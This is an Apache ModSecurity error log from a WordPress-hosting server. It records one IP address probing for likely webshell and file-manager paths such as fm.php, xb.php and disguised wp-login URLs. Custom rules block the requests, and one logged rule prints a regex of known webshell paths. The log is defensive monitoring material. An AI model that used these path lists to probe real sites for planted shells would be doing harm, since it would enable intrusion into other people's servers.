[Thu Dec 11 20:44:14.004194 2025] [:error] [pid 48261:tid 48269] [client 52.230.86.213:64317] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aTq8nuyPI4WU-4JmiQPBAwAAAYU"]
[Thu Dec 11 20:44:14.218926 2025] [:error] [pid 58814:tid 58817] [client 52.230.86.213:64311] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aTq8ntiz0l9AD_3pkMw0TwAAAcE"]
[Thu Dec 11 20:44:14.401558 2025] [:error] [pid 24527:tid 24565] [client 52.230.86.213:58587] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aTq8nl9_glvtS5vXiTUIKQAAAok"]
[Thu Dec 11 20:44:14.598599 2025] [:error] [pid 48261:tid 48274] [client 52.230.86.213:62230] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aTq8nuyPI4WU-4JmiQPBBQAAAYo"]
[Thu Dec 11 20:44:14.792212 2025] [:error] [pid 24527:tid 24577] [client 52.230.86.213:55635] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aTq8nl9_glvtS5vXiTUIOwAAApU"]
[Thu Dec 11 20:44:15.082467 2025] [:error] [pid 58814:tid 58824] [client 52.230.86.213:61818] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aTq8n9iz0l9AD_3pkMw0WgAAAcg"]
[Thu Dec 11 20:44:15.283793 2025] [:error] [pid 58814:tid 58826] [client 52.230.86.213:53694] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aTq8n9iz0l9AD_3pkMw0XQAAAco"]
[Thu Dec 11 20:44:15.515722 2025] [:error] [pid 35112:tid 35136] [client 52.230.86.213:49762] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aTq8n59ZpQ0WIeJhsJdrYgAAAVY"]
[Thu Dec 11 20:44:15.734291 2025] [:error] [pid 35112:tid 35138] [client 52.230.86.213:58611] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aTq8n59ZpQ0WIeJhsJdrYwAAAVg"]
[Thu Dec 11 20:44:15.927599 2025] [:error] [pid 58814:tid 58835] [client 52.230.86.213:63006] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aTq8n9iz0l9AD_3pkMw0YwAAAdM"]
[Thu Dec 11 20:44:16.193049 2025] [:error] [pid 58814:tid 58817] [client 52.230.86.213:49756] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aTq8oNiz0l9AD_3pkMw0ZQAAAcE"]
[Thu Dec 11 20:44:16.369789 2025] [:error] [pid 27459:tid 27474] [client 52.230.86.213:18798] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aTq8oFhPEXihPBKMpRNepQAAAQ0"]
[Thu Dec 11 20:44:16.608969 2025] [:error] [pid 58814:tid 58822] [client 52.230.86.213:47087] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aTq8oNiz0l9AD_3pkMw0ZgAAAcY"]
[Thu Dec 11 20:44:16.783858 2025] [:error] [pid 27459:tid 27464] [client 52.230.86.213:61815] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aTq8oFhPEXihPBKMpRNepgAAAQM"]
[Thu Dec 11 20:44:16.974754 2025] [:error] [pid 24483:tid 24502] [client 52.230.86.213:62257] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aTq8oFGHKh2d_uVkopRf5wAAAhE"]
[Thu Dec 11 20:44:17.172381 2025] [:error] [pid 57990:tid 58013] [client 52.230.86.213:61191] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aTq8oQqZT_dc36fQdXGEJwAAABI"]
[Thu Dec 11 20:44:17.374026 2025] [:error] [pid 58814:tid 58836] [client 52.230.86.213:47071] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aTq8odiz0l9AD_3pkMw0aQAAAdQ"]
[Thu Dec 11 20:44:17.565663 2025] [:error] [pid 57991:tid 58032] [client 52.230.86.213:64300] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aTq8oaPyGmNXA2ZsETa3YQAAAEo"]
[Thu Dec 11 20:44:17.768450 2025] [:error] [pid 27459:tid 27465] [client 52.230.86.213:61802] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aTq8oVhPEXihPBKMpRNepwAAAQQ"]
[Thu Dec 11 20:44:17.946065 2025] [:error] [pid 57991:tid 58030] [client 52.230.86.213:62217] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aTq8oaPyGmNXA2ZsETa3YwAAAEg"]
[Thu Dec 11 20:44:18.143214 2025] [:error] [pid 57990:tid 58009] [client 52.230.86.213:61237] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTq8ogqZT_dc36fQdXGEKAAAAA4"]
[Thu Dec 11 20:44:18.340709 2025] [:error] [pid 24483:tid 24485] [client 52.230.86.213:49751] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTq8olGHKh2d_uVkopRf6AAAAgA"]
[Thu Dec 11 20:44:18.516328 2025] [:error] [pid 48261:tid 48265] [client 52.230.86.213:52375] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTq8ouyPI4WU-4JmiQPBCQAAAYE"]
[Thu Dec 11 20:44:18.724165 2025] [:error] [pid 24483:tid 24494] [client 52.230.86.213:64284] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTq8olGHKh2d_uVkopRf6QAAAgk"]
[Thu Dec 11 20:44:18.899183 2025] [:error] [pid 58099:tid 58103] [client 52.230.86.213:58577] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aTq8osKZVSF_bdPFqRgYbQAAAMI"]
[Thu Dec 11 20:44:19.097607 2025] [:error] [pid 57990:tid 58014] [client 52.230.86.213:47076] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aTq8owqZT_dc36fQdXGEKgAAABM"]
[Thu Dec 11 20:44:19.309963 2025] [:error] [pid 48261:tid 48276] [client 52.230.86.213:53649] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aTq8o-yPI4WU-4JmiQPBDAAAAYw"]
[Thu Dec 11 20:44:19.501985 2025] [:error] [pid 57992:tid 58055] [client 52.230.86.213:49761] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aTq8o-Ueau0BMFF2vHmyvAAAAIY"]
[Thu Dec 11 20:44:19.686758 2025] [:error] [pid 24527:tid 24562] [client 52.230.86.213:47060] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admiin.php"] [unique_id "aTq8o19_glvtS5vXiTUIZwAAAoY"]
[Thu Dec 11 20:44:19.980885 2025] [:error] [pid 58099:tid 58124] [client 52.230.86.213:53646] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admiin.php"] [unique_id "aTq8o8KZVSF_bdPFqRgYcAAAANc"]
[Thu Dec 11 20:44:20.209580 2025] [:error] [pid 48261:tid 48283] [client 52.230.86.213:64270] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admiin.php"] [unique_id "aTq8pOyPI4WU-4JmiQPBEQAAAZM"]
[Thu Dec 11 20:44:20.445359 2025] [:error] [pid 24483:tid 24503] [client 52.230.86.213:61186] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admiin.php"] [unique_id "aTq8pFGHKh2d_uVkopRf7wAAAhI"]
[Thu Dec 11 20:44:20.633633 2025] [:error] [pid 24527:tid 24560] [client 52.230.86.213:61808] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xse25.php"] [unique_id "aTq8pF9_glvtS5vXiTUIaAAAAoQ"]
[Thu Dec 11 20:44:20.822994 2025] [:error] [pid 24527:tid 24558] [client 52.230.86.213:47102] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xse25.php"] [unique_id "aTq8pF9_glvtS5vXiTUIaQAAAoI"]
[Thu Dec 11 20:44:21.001652 2025] [:error] [pid 58814:tid 58817] [client 52.230.86.213:18643] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xse25.php"] [unique_id "aTq8pdiz0l9AD_3pkMw0cgAAAcE"]
[Thu Dec 11 20:44:21.215022 2025] [:error] [pid 58099:tid 58119] [client 52.230.86.213:47040] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xse25.php"] [unique_id "aTq8pcKZVSF_bdPFqRgYcQAAANI"]
[Thu Dec 11 20:44:21.390422 2025] [:error] [pid 57992:tid 58052] [client 52.230.86.213:47084] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/sx.php"] [unique_id "aTq8peUeau0BMFF2vHmywAAAAIM"]
[Thu Dec 11 20:44:21.592207 2025] [:error] [pid 24483:tid 24489] [client 52.230.86.213:55631] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aTq8pVGHKh2d_uVkopRf8QAAAgQ"]
[Thu Dec 11 20:44:21.830959 2025] [:error] [pid 48261:tid 48278] [client 52.230.86.213:62243] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aTq8peyPI4WU-4JmiQPBFAAAAY4"]
[Thu Dec 11 20:44:22.007723 2025] [:error] [pid 57991:tid 58046] [client 52.230.86.213:47049] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aTq8pqPyGmNXA2ZsETa3aAAAAFg"]
[Thu Dec 11 20:44:22.184278 2025] [:error] [pid 57990:tid 57996] [client 52.230.86.213:62261] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aTq8pgqZT_dc36fQdXGEMAAAAAE"]
[Thu Dec 11 20:44:22.383275 2025] [:error] [pid 24527:tid 24566] [client 52.230.86.213:59822] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aTq8pl9_glvtS5vXiTUIawAAAoo"]
[Thu Dec 11 20:44:22.559153 2025] [:error] [pid 27459:tid 27475] [client 52.230.86.213:64269] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aTq8plhPEXihPBKMpRNerQAAAQ4"]
[Thu Dec 11 20:44:22.749891 2025] [:error] [pid 27459:tid 27468] [client 52.230.86.213:46647] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aTq8plhPEXihPBKMpRNergAAAQc"]
[Thu Dec 11 20:44:22.949534 2025] [:error] [pid 58099:tid 58104] [client 52.230.86.213:62244] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aTq8psKZVSF_bdPFqRgYcgAAAMM"]
[Thu Dec 11 20:44:23.138427 2025] [:error] [pid 57991:tid 58031] [client 52.230.86.213:62268] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aTq8p6PyGmNXA2ZsETa3bQAAAEk"]
[Thu Dec 11 20:44:23.347451 2025] [:error] [pid 48261:tid 48269] [client 52.230.86.213:47090] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signin.php"] [unique_id "aTq8p-yPI4WU-4JmiQPBFgAAAYU"]
[Thu Dec 11 20:44:23.525777 2025] [:error] [pid 27459:tid 27470] [client 52.230.86.213:62213] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signin.php"] [unique_id "aTq8p1hPEXihPBKMpRNesQAAAQk"]
[Thu Dec 11 20:44:23.716813 2025] [:error] [pid 27459:tid 27462] [client 52.230.86.213:61797] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signin.php"] [unique_id "aTq8p1hPEXihPBKMpRNeswAAAQE"]
[Thu Dec 11 20:44:23.926266 2025] [:error] [pid 58099:tid 58121] [client 52.230.86.213:64295] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signin.php"] [unique_id "aTq8p8KZVSF_bdPFqRgYdAAAANQ"]
[Thu Dec 11 20:44:24.103860 2025] [:error] [pid 48261:tid 48287] [client 52.230.86.213:47078] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aTq8qOyPI4WU-4JmiQPBFwAAAZc"]
[Thu Dec 11 20:44:24.281033 2025] [:error] [pid 48261:tid 48265] [client 52.230.86.213:61810] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aTq8qOyPI4WU-4JmiQPBGAAAAYE"]
[Thu Dec 11 20:44:24.462261 2025] [:error] [pid 58814:tid 58821] [client 52.230.86.213:58623] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aTq8qNiz0l9AD_3pkMw0dgAAAcU"]
[Thu Dec 11 20:44:24.637126 2025] [:error] [pid 24527:tid 24556] [client 52.230.86.213:58592] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aTq8qF9_glvtS5vXiTUIbgAAAoA"]
[Thu Dec 11 20:44:24.811741 2025] [:error] [pid 58099:tid 58113] [client 52.230.86.213:61240] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aTq8qMKZVSF_bdPFqRgYdgAAAMw"]
